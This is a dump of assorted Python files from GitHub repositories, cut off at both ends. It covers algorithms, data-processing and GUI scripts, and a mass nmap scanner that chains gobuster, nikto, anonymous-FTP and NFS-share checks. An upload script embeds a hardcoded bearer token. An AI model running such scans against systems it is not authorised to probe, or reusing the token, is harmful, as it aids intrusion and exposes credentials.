max(ans, i - j + 1)\n return ans","repo_name":"zrobera/Competitive-Programming","sub_path":"1208-get-equal-substrings-within-budget/1208-get-equal-substrings-within-budget.py","file_name":"1208-get-equal-substrings-within-budget.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"21034398655","text":"import logging, time, threading, subprocess\nfrom os import getcwd, listdir\nfrom tqdm import tqdm\nfrom libnmap.process import NmapProcess as nmap\nfrom libnmap.parser import NmapParser as nmap_parser\nfrom multiprocessing import Pool, Manager\nfrom functools import partial\nfrom user_functions import bcolors\nfrom extras import take_screenshots, pull_html, run_gobuster, run_nikto\n\ndef start_nmap(nmap_format, extra_nmap_format, mass_data, args):\n \"\"\"Used to set up multithreading and call the individual masscan processes.\"\"\"\n try:\n #Sets up a threadpool with user-entered threads value.\n pool = Pool(args.nmap_threads)\n #Needed to setup a list that the threads will be able to append to.\n manager = Manager()\n #A list that the threads will be able to append to.\n shared_list = manager.list()\n #Sets up the progress bar. Pretty complicated, worth googling.\n pbar = tqdm(pool.imap_unordered(partial(nmap_runner, nmap_format, extra_nmap_format, args.no_extra_scans, shared_list), mass_data), total=len(mass_data), desc=bcolors.OKGREEN + \"Nmap Progressbar\" + bcolors.ENDC)\n for _ in pbar:\n pass\n\n #Terminates the threadpool and joins the threads back to the main process.\n pool.terminate()\n pool.join()\n #Terminates the progresbar.\n pbar.close()\n\n #Converts the nmap results to html format for easy viewing.\n conv_to_html()\n logging.info(\"Finished Nmap\")\n \n except Exception as error:\n logging.critical(\"Error when trying to run Nmap.\\nError: %s\" % error)\n\n run_extras(args, shared_list)\n\ndef run_extras(args, shared_list):\n \"\"\"Used to run all of the extra functions based on the user's requests.\"\"\"\n #Runs if the user wants to take screenshots of discovered webpages.\n if args.screenshot:\n try:\n logging.info(\"Taking Screenshots\")\n take_screenshots(shared_list)\n logging.info(\"Finished Taking Screenshots\") \n\n except Exception as error:\n logging.critical(\"Error when trying to take screenshots.\\nError: %s\" % error)\n\n #Runs if the user wants to pull down html code based on the user's requests.\n if args.page_pulls:\n try:\n logging.info(\"Pulling HTML\")\n pull_html(shared_list)\n logging.info(\"Finished Pulling HTML\")\n \n except Exception as error:\n logging.critical(\"Error when trying to pull HTML.\\nError: %s\" % error)\n\n #Runs if the user wants to run gobuster against discovered web pages.\n if args.gobuster:\n try:\n logging.info(\"Running Gobuster\")\n run_gobuster(shared_list, args.gobuster)\n logging.info(\"Finished Running Gobuster\")\n\n except Exception as error:\n logging.critical(\"Error when trying to run Gobuster.\\nError: %s\" % error)\n \n #Runs if the user wants to run nikto against discovered web pages.\n if args.nikto:\n try:\n logging.info(\"Running Nikto\")\n run_nikto(shared_list)\n logging.info(\"Finished Running Nikto\")\n \n except Exception as error:\n logging.critical(\"Error when trying to run Nikto.\\nError: %s\" % error)\n\ndef nmap_runner(nmap_format, extra_nmap_format, no_extra_scans, shared_list, ip_port):\n \"\"\"Runs the actual nmap scans.\"\"\"\n ip,port = ip_port.split(\":\")\n #Calls the libnmap modules nmapprocess and runs it.\n nm_process = nmap(targets=ip, options=format_nmap(nmap_format, port), safe_mode=False)\n #Makes sure the process runs in the background.\n nm_process.run_background()\n\n #Will check if the process is still running every second.\n while nm_process.is_running():\n time.sleep(1)\n\n #Gets the output of the scan.\n scan_out = nm_process.stdout\n #If the scan includes the text \"state=\"filtered\"\" or \"tcpwrapped\" that indicates that the port is firewalled off and theres no point in keeping it.\n if 'state=\"filtered\"' in scan_out or 'tcpwrapped' in scan_out:\n #TODO: Change that filtered/tcpwrapped will still have output. Need to check for this but don't have the data to set up the code right now.\n pass\n\n else:\n #Sets up the file name.\n file_name = \"./results/nmap/nmap_reg_%s_%s_\" % (ip, port) + time.strftime(\"%Y:%m:%d-%H:%M\") + \".xml\"\n #Writes the output of the original scan to a file.\n with open(file_name, \"w\") as file:\n file.write(scan_out)\n\n #If the nmap runs on port 80 or if the detected service is identified as http, adds it to a list used by a bunch of other functions.\n if 'portid=\"80\"' in scan_out or 'service name=\"http\"' in scan_out:\n shared_list.append(\"%s:%s\" % (ip, port))\n\n #Will only run if the user didn't specify that they didn't want extra scans to be run.\n if not no_extra_scans:\n output = \"\"\n #Checks for ftp-anonymous login.\n if 'portid=\"21\"' in scan_out or 'service name=\"ftp\"' in scan_out:\n output = extra_nmap_runner(extra_nmap_format, \"ftp-anon\", ip, port)\n #Checks for world-readable/writeable nfs mounts.\n elif 'portid=\"111\"' in scan_out or 'portid=\"2049\"' in scan_out or 'service name\"rpcbind' in scan_out:\n output = extra_nmap_runner(extra_nmap_format, \"nfs-showmount\", ip, port)\n\n #Will only write to the file if there is data in the output variable.\n if output:\n with open(file_name.replace(\"reg\", \"xtra\"), \"w\") as file:\n file.write(output)\n\ndef extra_nmap_runner(extra_nmap_format, script_name, ip, port):\n \"\"\"Runs the extra nmap scans. See above.\"\"\"\n xtra_process = nmap(targets=ip, options=format_extra(extra_nmap_format, script_name, port), safe_mode=False)\n xtra_process.run_background()\n\n while xtra_process.is_running():\n time.sleep(1)\n \n return xtra_process.stdout\n\ndef format_nmap(nmap_format, port):\n \"\"\"Formats the nmap command to include the port.\"\"\"\n return nmap_format % port\n\ndef format_extra(extra_nmap_format, script, port):\n \"\"\"Formats the extra nmap command to include the script and port.\"\"\"\n return extra_nmap_format % (port, script) \n\ndef conv_to_html():\n \"\"\"Converts the nmap xml files to html files viewable in a web browser.\"\"\"\n logging.debug(\"Converting XML Files to HTML\")\n #Initializes variables to hold the directories.\n html_dir = getcwd() + \"/results/nmap_http/\"\n nmap_dir = getcwd() + \"/results/nmap/\"\n\n #Lists all files in the nmap results directory.\n files = listdir(nmap_dir)\n #Loops through each file.\n for i in files:\n #Sets up the command.\n cmd = \"xsltproc %s -o %shtml\" % (nmap_dir +i, html_dir + i[0:len(i)-3])\n #Runs the command.\n subprocess.run([i for i in cmd.split(\" \")])\n logging.debug(\"Done Converting XML Files to HTML\")","repo_name":"NargenPargen/MassMap","sub_path":"run_nmap.py","file_name":"run_nmap.py","file_ext":"py","file_size_in_byte":6927,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"11"} +{"seq_id":"1823257839","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\nimport numpy as np\nfrom collections import deque\nfrom pyspark.sql import functions as F\nfrom .AbstractDistanceAlg import AbstractDistanceAlg\n\n\nclass AuctionAlg(AbstractDistanceAlg):\n\n def __init__(self, df, size):\n super().__init__(df, size)\n\n def compute_matching(self):\n fst_assigned = set()\n snd_assigned = set()\n p = np.full(self.size, 0)\n owner = np.full(self.size, -1)\n epsilon = 1.0 / (self.size + 1)\n\n zeros = self.df.filter(F.col('distance') == 0.0).collect()\n for row, col, dist in zeros:\n fst_assigned.add(row)\n snd_assigned.add(col)\n self.matches.append((row, col, dist))\n\n distances = self.df \\\n .filter(F.col('distance') != 0.0) \\\n .filter(not F.col('idA').isin([elem[0] for elem in zeros])) \\\n .filter(not F.col('idB').isin([elem[0] for elem in zeros])) \\\n .collect()\n\n distances_map = AuctionAlg.from_list_to_map(distances)\n queue = deque()\n for idx in range(0, self.size):\n if idx not in fst_assigned:\n queue.append(idx)\n\n while queue:\n row = queue.popleft()\n col_idx = -1\n col_value = float('inf')\n for col in range(0, self.size):\n if col not in snd_assigned:\n distance = distances_map.get((row, col), (row, col, 1.0))[2]\n curr_value = 1.0 - distance - p[0]\n if col_value < curr_value:\n col_value = curr_value\n col_idx = col\n\n if col_value >= 0:\n if not owner[col_idx] == -1:\n queue.append(owner[col_idx])\n owner[col_idx] = row\n p[col_idx] = p[col_idx] + epsilon\n\n for idx, elem in enumerate(owner):\n if idx not in snd_assigned:\n self.matches.append(distances_map.get((elem, idx), (elem, idx, 1.0)))\n\n return self.matches\n","repo_name":"forons/distance-measurement","sub_path":"dm/algorithms/AuctionAlg.py","file_name":"AuctionAlg.py","file_ext":"py","file_size_in_byte":2064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"74371072986","text":"class Chunk():\n MTEX = b\"XETM\"\n MDID = b\"DIDM\"\n MHID = b\"DIHM\"\n\n MCLV = b\"VLCM\"\n MCMT = b\"TMCM\"\n\n MMDX = b'XDMM'\n MDDF = b'FDDM'\n MLDD = b'DDLM'\n\n MWMO = b'OMWM'\n MODF = b'FDOM'\n MLMD = b'DMLM'","repo_name":"AcoStar7819/adt-to-shadowlands","sub_path":"Chunk.py","file_name":"Chunk.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"31927728504","text":"# -*- coding: utf-8 -*-\n# @Author : Administrator\n# @DateTime : 2020/6/27 1:07\n# @FileName : create_df_from_dict_list.py\n# @SoftWare : PyCharm\n\nimport pandas as pd\n\nadict = {'dhcp': [125, 56], 'tcp': [54, 24], 'num': ['as', 'td']}\nbdict = {'dhcp': 12, 'tcp': 5, 'num': 'ai'}\ncdict = {'dhcp': 325, 'tcp': 514, 'num': 'ast'}\nddict = {'dhcp': 125, 'tcp': 1514, 'num': 'asst'}\n\ndf = pd.DataFrame.from_dict(adict, orient='columns')\nprint(df)\n\nalist = []\nalist.append(bdict)\nalist.append(cdict)\nalist.append(ddict)\nalist.append({})\nalist.append({})\n\n\ndd = pd.DataFrame.from_dict(alist, orient='columns')\nprint(dd)\n\ndd.dropna(axis=0, how='all')\nprint(dd)\n","repo_name":"freshklauser/_Repos_HandyNotes","sub_path":"_Modules/pandas_operator/create_df_from_dict_list.py","file_name":"create_df_from_dict_list.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2620808054","text":"import time\nimport random\nimport multiprocessing\n\n# Runs the loop that processes things.\n# In this example it just waits a random amount of time,\n# to simulate projects taking different amounts of time.\ndef ye_function(inputs, tools):\n # As long as there's something in the input queue,\n while not inputs.empty():\n # Pull an input and a tool off their queues.\n i = inputs.get()\n t = tools.get()\n print(\"Tool \" + t + \" starting work on \" + str(i))\n # \"process\" the data (just waiting)\n time.sleep(random.randint(5, 10))\n print(\"Tool \" + t + \" finished work on \" + str(i))\n # When the tool is ready again, put it back on its queue.\n tools.put(t)\n print(\"queue empty\")\n return True\n\n\ndef run():\n # This is our data. Could be URLs to visit.\n input_queue = multiprocessing.Queue()\n for i in range(0, 20):\n input_queue.put(\"project \" + str(i))\n\n # These are tools that process the data. Could be webdrivers.\n tool_queue = multiprocessing.Queue()\n tool_list = [\"A\", \"B\", \"C\", \"D\", \"E\"]\n for j in tool_list:\n tool_queue.put(\"tool \" + str(j))\n\n # Spin up several processes, but not more than we have tools.\n # Leave some CPU for other people.\n num_processes = min(len(tool_list), multiprocessing.cpu_count() - 1)\n processes = []\n\n for n in range(0, num_processes):\n # Creating processes that will run in parallel.\n p = multiprocessing.Process(\n target=ye_function,\n args=(\n input_queue,\n tool_queue,\n ),\n )\n # Track them so we can stop them later.\n processes.append(p)\n # Run the processes.\n p.start()\n for x in processes:\n # Closes out the processes cleanly.\n x.join()\n\n\nif __name__ == \"__main__\":\n run()\n","repo_name":"Colin-Fredericks/edx_backup_script","sub_path":"test/multiprocessing_test.py","file_name":"multiprocessing_test.py","file_ext":"py","file_size_in_byte":1854,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"12215486422","text":"from tkinter import *\r\nimport requests\r\n\r\nroot = Tk()\r\nroot.title(\"Tools Checking Ip By SammyKH\")\r\nroot.geometry(\"350x200\")\r\nroot.iconbitmap(\"Logo/IP Logo.ico\")\r\nroot.resizable(False, False)\r\nroot.configure(bg='Grey')\r\n\r\n\r\n\r\ndef info():\r\n root.update()\r\n labelpopme.destroy()\r\n Output_results.delete(1.0, END)\r\n\r\n try:\r\n ip1= \"https://icanhazip.com/\"\r\n response1 = requests.get(ip1).text\r\n print(response1)\r\n labelpopip.config(text=\"Your IP : \"+str(response1))\r\n ip = Output_results.get(\"1.0\", \"end-1c\")\r\n response = requests.get(url=f\"http://ip-api.com/json/{ip}\").json()\r\n data = {\r\n \"[-] Live IP\": response.get(\"query\"),\r\n \"[-] Live Country\": response.get(\"country\"),\r\n \"[-] Live Region\": response.get(\"regionName\"),\r\n \"[-] Live City\": response.get(\"city\"),\r\n \"[-] Live Zip-code\": response.get(\"zip\"),\r\n \"[-] Live Latitude\": response.get(\"lat\"),\r\n \"[-] Live Longitude\": response.get(\"lon\"),\r\n \"[-] Live Timezone\": response.get(\"timezone\"),\r\n \"[-] Live Provider\": response.get(\"isp\"),\r\n \"[-] Live Organization\": response.get(\"org\")\r\n }\r\n for k, e in data.items():\r\n print(f\"[bold cyan]{k}: [bold yellow]{e}\")\r\n show_info = (f\"{k}: {e}\")\r\n Output_results.insert(END,show_info+str(\"\\n\"))\r\n \r\n print(\"\")\r\n except Exception as e:\r\n print(f\"[bold red]An '{e}' error occurred\")\r\nmyfram1 = Frame(root)\r\nmyscrollbar1 = Scrollbar(myfram1, orient=VERTICAL)\r\nOutput_results = Text(myfram1, height = 7,width = 46,fg=\"Black\",bg = \"light grey\" ,font='none 10 bold italic',yscrollcommand=myscrollbar1.set)\r\nmyscrollbar1.config(command=Output_results.yview)\r\nmyscrollbar1.pack(side=RIGHT, fill=Y)\r\nmyfram1.place(x = 3,y = 40)\r\nOutput_results.pack(pady=1)\r\n\r\nCHIP1_BTN = Button(root, height = 1,width = 10,bg='Green',fg='Light Green',text =\"Show IP info\",command=info)\r\nCHIP1_BTN.place(x = 135,y = 160)\r\n\r\nlabelpopme = Label(root,fg='Blue',bg='Grey', text = 'Tools By SAMMY KH Donate Me By ABA-003 398 932 KHOM SAMNANG',font='none 7 bold italic') \r\nlabelpopme.place(x = 8,y =19)\r\n\r\nlabelpoppro = Label(root,fg='Gold',bg='Grey', text = ' Tools By',font='none 15 bold italic') \r\nlabelpoppro.place(x = 8,y =160)\r\nlabelpoppro1 = Label(root,fg='RED',bg='Grey', text = 'SAMMY_KH',font='none 15 bold italic') \r\nlabelpoppro1.place(x = 225,y =160)\r\n\r\nlabelpopip=Label(root, text=\"\",bg=\"Grey\",fg=\"black\",font='none 10 bold italic', justify=RIGHT)\r\nlabelpopip.place(x = 105,y =1)\r\nroot.mainloop() ","repo_name":"SAMMY-KH/Auto-Check-IP-Info-GUI-Python","sub_path":"iP_Checker_V3.py","file_name":"iP_Checker_V3.py","file_ext":"py","file_size_in_byte":2676,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"22497694002","text":"from os import scandir\nfrom os.path import join as p, exists, relpath\nimport errno\n\ntry:\n from urllib.parse import quote as urlquote\nexcept ImportError:\n from urllib import quote as urlquote\n\nfrom .exceptions import NotABundlePath, BundleNotFound\n\n\nBUNDLE_MANIFEST_VERSION = 1\n'''\nCurrent version number of the bundle manifest. Written by `Installer` and anticipated by\n`Deployer` and `Fetcher`.\n'''\n\nBUNDLE_ARCHIVE_MIME_TYPE = 'application/x-gtar'\n'''\nMIME type for bundle archive files\n'''\n\n\nBUNDLE_INDEXED_DB_NAME = 'owm.db'\n'''\nBase name of the indexed database that gets built in a bundle directory during\ninstallation\n'''\n\nBUNDLE_MANIFEST_FILE_NAME = 'manifest'\n'''\nName of the manifest file in a bundle directory or archive\n'''\n\n\ndef fmt_bundle_directory(bundles_directory, ident, version=None):\n '''\n Get the directory for the given bundle identifier and version\n\n Parameters\n ----------\n ident : str\n Bundle identifier\n version : int\n Version number. If not provided, returns the directory containing all of the\n versions\n '''\n base = p(bundles_directory, urlquote(ident, safe=''))\n if version is not None:\n return p(base, str(version))\n else:\n return base\n\n\ndef validate_manifest(bundle_path, manifest_data):\n '''\n Validate manifest data in a `dict`\n\n Parameters\n ----------\n bundle_path : str\n The path to the bundle directory or archive. Used in the exception message if the\n manifest data is invalid\n manifest_data : dict\n The data from a manifest file\n\n Raises\n ------\n NotABundlePath\n Thrown in one of these conditions:\n\n - `manifest_data` lacks a `manifest_version`\n - `manifest_data` has a `manifest_version` > BUNDLE_MANIFEST_VERSION\n - `manifest_data` has a `manifest_version` <= 0\n - `manifest_data` lacks a `version`\n - `manifest_data` lacks an `id`\n '''\n manifest_version = manifest_data.get('manifest_version')\n if not manifest_version:\n raise NotABundlePath(bundle_path,\n 'the bundle manifest has no manifest version')\n\n if manifest_version > BUNDLE_MANIFEST_VERSION or manifest_version <= 0:\n raise NotABundlePath(bundle_path,\n 'the bundle manifest has an invalid manifest version')\n\n version = manifest_data.get('version')\n if not version:\n raise NotABundlePath(bundle_path,\n 'the bundle manifest has no bundle version')\n\n ident = manifest_data.get('id')\n if not ident:\n raise NotABundlePath(bundle_path,\n 'the bundle manifest has no bundle id')\n\n\ndef find_bundle_directory(bundles_directory, ident, version=None):\n # - look up the bundle in the bundle cache\n # - generate a config based on the current config load the config\n # - make a database from the graphs, if necessary (similar to `owm regendb`). If\n # delete the existing database if it doesn't match the store config\n if version is None:\n bundle_root = fmt_bundle_directory(bundles_directory, ident)\n latest_version = 0\n try:\n ents = scandir(bundle_root)\n except (OSError, IOError) as e:\n if e.errno == errno.ENOENT: # FileNotFound\n raise BundleNotFound(ident, 'Bundle directory does not exist') from e\n raise\n\n for ent in ents:\n if ent.is_dir():\n try:\n vn = int(ent.name)\n except ValueError:\n # We may put things other than versioned bundle directories in\n # this directory later, in which case this is OK\n pass\n else:\n if vn > latest_version:\n latest_version = vn\n version = latest_version\n if not version:\n raise BundleNotFound(ident, 'No versioned bundle directories exist')\n res = fmt_bundle_directory(bundles_directory, ident, version)\n if not exists(res):\n if version is None:\n raise BundleNotFound(ident,\n f'Bundle directory, \"{res}\", does not exist')\n else:\n raise BundleNotFound(ident,\n f'Bundle directory, \"{res}\", does not exist for the specified version', version)\n return res\n\n\ndef bundle_tree_filter(path, fullpath):\n '''\n Returns true for file names that are to be included in a bundle for deployment or\n fetching.\n\n Parameters\n ----------\n path : str\n The relative path of the file to check\n fillpath : str\n The full path of the file to check (usable for deeper inspection)\n '''\n if path.startswith(BUNDLE_INDEXED_DB_NAME):\n # Skip the indexed DB -- the format isn't really designed for sharability and\n # we can regenerate it anyway.\n return False\n return True\n\n\nclass BundleTreeFileIgnorer:\n def __init__(self, bundle_directory):\n '''\n Parameters\n ----------\n bundle_directory : str\n Path to the source directory of the bundle. Serves as the base directory for\n filtering.\n '''\n self.bundle_directory = bundle_directory\n\n def __call__(self, directory, contents):\n '''\n Functions as needed for the \"ignore\" argument to `shutil.copytree`\n '''\n files_to_ignore = []\n for fname in contents:\n fpath = p(directory, fname)\n rpath = relpath(fpath, start=self.bundle_directory)\n if not bundle_tree_filter(rpath, fpath):\n files_to_ignore.append(fname)\n return files_to_ignore\n","repo_name":"openworm/owmeta-core","sub_path":"owmeta_core/bundle/common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":5643,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"11"} +{"seq_id":"36934348521","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@author: bav@geus.dk\n\ntip list:\n %matplotlib inline\n %matplotlib qt\n import pdb; pdb.set_trace()\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport gcnet_lib as gnl\nimport sunposition as sunpos\nfrom pandas.tseries.offsets import DateOffset\nfrom os import path\nimport nead\nimport xarray as xr\n\n\ndef xcorr(x, y, normed=True, maxlags=30):\n x[np.isnan(x)]=np.nanmean(x)\n y[np.isnan(y)]=np.nanmean(y)\n Nx = len(x)\n if Nx != len(y): raise ValueError('x and y must be equal length')\n c = np.correlate(x, y, mode=2)\n if normed: c /= np.sqrt(np.dot(x, x) * np.dot(y, y))\n if maxlags is None: maxlags = Nx - 1\n if maxlags >= Nx or maxlags < 1:\n raise ValueError('maglags must be None or strictly positive < %d' % Nx)\n\n lags = np.arange(-maxlags, maxlags + 1)\n c = c[Nx - 1 - maxlags:Nx + maxlags]\n\n return lags, c\n\n\ndef max_xcorr(x, y, maxlag=30):\n if (np.isnan(x).all())|(np.isnan(y).all()):\n return np.nan\n try:\n lagsOut, corrCoef = xcorr(x, y)\n except:\n print('ERROR: ', x, y)\n return np.nan\n if np.isnan(corrCoef).all():\n return np.nan\n return lagsOut[np.argmax(corrCoef)]\n\n\ndef shift_data(df, t0, t1, shift, clean_up_type = 'all data before target'):\n var_list_rm = df.columns\n t0 = pd.to_datetime(t0)\n t1 = pd.to_datetime(t1)\n df_out = df.copy()\n df_out.loc[t0+pd.Timedelta(hours=shift): t1+pd.Timedelta(hours=shift), :] = df_out.loc[t0:t1, :].values\n if clean_up_type == 'all data before target':\n if shift>0:\n df_out.loc[t0:t0+pd.Timedelta(hours=shift), var_list_rm] = np.nan\n else:\n df_out.loc[t1-pd.Timedelta(hours=shift):t1, var_list_rm] = np.nan\n if clean_up_type == 'data within source period':\n df_out.loc[t0:t1, var_list_rm] = np.nan\n\n return df_out\n\n\n# plt.close('all')\n\n# loading sites metadata\nsite_list = pd.read_csv('C:/Users/bav/OneDrive - Geological survey of Denmark and Greenland/Code/PROMICE/GC-Net-Level-1-data-processing/metadata/GC-Net_location.csv',header=0)\n# uncomment for use at specific sites\n# All station names: 'Swiss Camp 10m', 'Swiss Camp', 'Crawford Point 1', 'NASA-U',\n # 'GITS', 'Humboldt', 'Summit', 'Tunu-N', 'DYE2', 'JAR1', 'Saddle',\n # 'South Dome', 'NASA-E', 'CP2', 'NGRIP', 'NASA-SE', 'KAR', 'JAR 2',\n # 'KULU', 'Petermann ELA', 'NEEM', 'E-GRIP'\nsite_list = site_list.loc[site_list.Name.values == 'GITS',:]\n\n\nname_aliases = dict(zip(site_list.Name, site_list.Name))\nname_aliases.update({'Swiss Camp': 'SwissCamp','Swiss Camp 10m': 'SwissCamp', 'Crawford Point 1': 'CrawfordPt.',\n 'Tunu-N':'TUNU-N', 'DYE2': 'DYE-2', 'JAR1':'JAR',\n 'South Dome': 'SouthDome', 'JAR 2': 'JAR2'})\n\n# choosing variable to evaluate\nvar1 = 'TA1'\nvar2 = 'tas2m'\n# var1 = 'P'\n# var2 = 'ps'\n# var1 = 'RH1'\n# var2 = 'relhum2m'\n# var1 = 'ISWR'\n# var2 = 'dswrad'\n\n# Loading RACMO data\nds_racmo = xr.open_dataset('../../../Data/RCM/RACMO/Data_AWS_RACMO2.3p2_FGRN055_1957-2017/RACMO_3h_AWS_sites.nc')\nds_racmo['station_name'] = ('Station',\n pd.read_csv('../../../Data/RCM/RACMO/Data_AWS_RACMO2.3p2_FGRN055_1957-2017/AWS.csv',sep=';')['Station name'].values)\n\nfor site, ID in zip(site_list.Name,site_list.ID):\n print('# '+str(ID)+ ' ' + site)\n print(var1)\n\n filename = '../GC-Net-Level-1-data-processing/L1/'+str(ID).zfill(2)+'-'+site+'.csv'\n if not path.exists(filename):\n print('Warning: No file for station '+str(ID)+' '+site)\n continue\n if name_aliases[site] not in ds_racmo.station_name:\n continue\n \n # loading L1 AWS file\n ds = nead.read(filename)\n df = ds.to_dataframe()\n df=df.reset_index(drop=True)\n df.timestamp = pd.to_datetime(df.timestamp)\n df = df.set_index('timestamp').replace(-999,np.nan)\n \n # selecting data in RACMO dataset and interpolating to hourly values\n station_num = ds_racmo.Station[ds_racmo.station_name == name_aliases[site]]\n df_racmo = ds_racmo.sel(Station = station_num).squeeze().to_dataframe()\n df_racmo.index = pd.to_datetime(df_racmo.index, utc=True)\n df_racmo = df_racmo.loc[(df.index[0]-pd.Timedelta('1D')):,:]\n df = df.loc[:df_racmo.index[-1],:]\n df_racmo_interp = df_racmo.resample('H').interpolate(method='pchip')\n df_racmo_interp = df_racmo_interp.loc[df.index[0]:,:]\n df[var1+'_racmo'] = df_racmo_interp[var2]\n\n # calculating the monthly best lag between the AWS data and the RACMO data\n # df_lag = df[[var1, var1+'_racmo']].resample('M').apply(lambda x: max_xcorr(x[var1].values, x[var1+'_racmo'].values))\n \n # plotting before adjustments\n fig,ax = plt.subplots(1,1, sharex=True, sharey=True, figsize=(15,8))\n ax=[ax]\n df[var1].plot(ax=ax[0], label='GC-Net')\n # df_racmo[var2].plot(ax=ax, marker='o',label='RACMO')\n df_racmo_interp[var2].plot(ax=ax[0], label='RACMO')\n # ax1=ax[0].twinx()\n # df_lag.plot(ax=ax1, drawstyle=\"steps\", color='k')\n plt.title(site) #+' before adjustment')\n # ax1.set_ylabel('Lag maximizing the correlation \\nbetween GC-Net and RACMO (hours)')\n ax[0].set_ylabel(var1)\n ax[0].legend()\n\n # print('Months with non-zero best lags:',df_lag.loc[(df_lag!=0)&(df_lag.notnull())])\n \n # adjusting\n # if site == 'JAR1':\n # df = shift_data(df, '2003-04-24', '2005-05-07', 24)\n \n # if site == 'South Dome':\n # df = shift_data(df, '1998-04-20T03:00:00', '1999-04-23T03:00:00', -3)\n \n # if site == 'Humboldt':\n # df = shift_data(df, '2004-08-08', '2005-01-01', -24)\n # df = shift_data(df, '2005-01-02', '2006-05-04', -48)\n # df = shift_data(df, '2016-12-01T00', '2017-10-03T00', 2943)\n # df = shift_data(df, '2015-01-01T00', '2015-02-18T06', 2198)\n # df = shift_data(df, '2017-12-10T00', '2018-02-02T15', 2691)\n # df = shift_data(df, '2018-12-06T00', '2019-01-18T13', 2954)\n\n # if site == 'GITS':\n # df = shift_data(df, '2019-03-14T00', '2019-04-29T01', 520)\n # if site == 'NASA-U':\n # df = shift_data(df, '2010-03-20', '2010-10-11', 48)\n\n # if site == 'Crawford Point 1':\n # df = shift_data(df, '1990-01-01 16:00:00','1990-09-26 14:00:00', 180552, clean_up_type = 'data within source period')\n # df = shift_data(df, '1999-08-09', '2000-06-04T06', 24)\n # df = shift_data(df, '2003-04-19T14', '2004-06-09', 24)\n # df = shift_data(df, '2008-06-12T00', '2009-04-27', 24)\n \n # df[var1+'_racmo'] = df_racmo_interp[var2]\n # df_lag = df[[var1, var1+'_racmo']].resample('M').apply(lambda x: max_xcorr(x[var1].values, x[var1+'_racmo'].values))\n \n # plotting adjuted values\n # df[var1].plot(ax=ax[1], label='GC-Net')\n # df_racmo_interp[var2].plot(ax=ax[1], label='RACMO')\n # ax[1].set_ylabel(var1)\n # ax[1].legend()\n # ax3=ax[1].twinx()\n # df_lag.plot(ax=ax3, drawstyle=\"steps\", color='k')\n # plt.title(site+' before adjustment')\n # ax1.set_ylabel('Lag maximizing the correlation \\nbetween GC-Net and RACMO (hours)')\n","repo_name":"GEUS-Glaciology-and-Climate/GC-Net-evaluation","sub_path":"GC-Net-evaluation_vs_RACMO.py","file_name":"GC-Net-evaluation_vs_RACMO.py","file_ext":"py","file_size_in_byte":7084,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"20101393579","text":"n = int(input())\r\ns = sorted(list(map(int, input().split())))\r\n\r\nl, r = 0, n - 1\r\nanswer = []\r\ndiff = int(2e9) + 1\r\n\r\nwhile l < r:\r\n target = s[l] + s[r]\r\n if abs(target) < diff:\r\n answer = [s[l], s[r]]\r\n diff = abs(target)\r\n if target < 0:\r\n l += 1\r\n else:\r\n r -= 1\r\n\r\nprint(*answer)","repo_name":"yeseong31/COTE","sub_path":"백준/Gold/2470. 두 용액/두 용액.py","file_name":"두 용액.py","file_ext":"py","file_size_in_byte":324,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"25987067946","text":"#!/usr/bin/python3.7\n# -*- coding: utf-8 -*-\n#-------------------------------------------------------------------------------\n# @Time : 2022/8/11 20:28\n# @Author : mojin\n# @Email : 397135766@qq.com\n# @File : 上传图片.py\n# @Software: PyCharm\n#-------------------------------------------------------------------------------\n\nimport requests\nfrom requests_toolbelt import MultipartEncoder\ndef hy_files():\n url='https://234*******n/upload' # 传图片\n headers={\n \"Authorization\": \"eyJhbGciOiJIUzUxMiJ9.eyJsb2dpbl91c2VyX2tleSI6ImEwYTBhMjBjLWYwZTctNDdhYi05NzgyLTAwMDBkMDY3MzMxMyJ9._oFwTF8s3U1-2zbDOtc2c7wRaEaJ44gIGAyoqhz1WML1ebQVjzwWzJN9zbd9nB0zFMOkWUTLiGY9J156V-pa7Q\",\n }\n data = MultipartEncoder(\n fields={\n \"file\": ('1.jpg',\n open('./config/1.jpg', 'rb'),\n \"image/jpeg\"),\n\n }\n )\n headers[\"Content-Type\"] = data.content_type\n r=requests.request(url=url,method='post',headers=headers,data=data)#,data=data\n print(r.text)\n\nhy_files()\n","repo_name":"HPmojin/pytest_allure_request_20220811","sub_path":"解析/上传图片.py","file_name":"上传图片.py","file_ext":"py","file_size_in_byte":1054,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"43146389642","text":"from app import app,mysql\nimport random, string\n\nclass profile():\n\tdef __init__(self,username=None,firstName=None,lastName=None,birthDate=None,gender=None):\n\t\tself.username = username\n\t\tself.firstName = firstName\n\t\tself.lastName = lastName\n\t\tself.birthDate = birthDate\n\t\tself.gender = gender\n\n\n\tdef addProfile(self,accountType,phoneNumber):\n\t\tcur = mysql.connection.cursor()\n\t\tflag = 0\n\t\twhile flag==0:\n\t\t\tif accountType==\"Renter\":\n\t\t\t\trandomstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(10))\n\t\t\t\tprefix= 'RENTER'\n\t\t\t\tprofileID = prefix+randomstr\n\t\t\telse:\n\t\t\t\trandomstr = ''.join(random.choice(string.ascii_uppercase + string.digits) for _ in range(11))\n\t\t\t\tprefix= 'OWNER'\n\t\t\t\tprofileID = 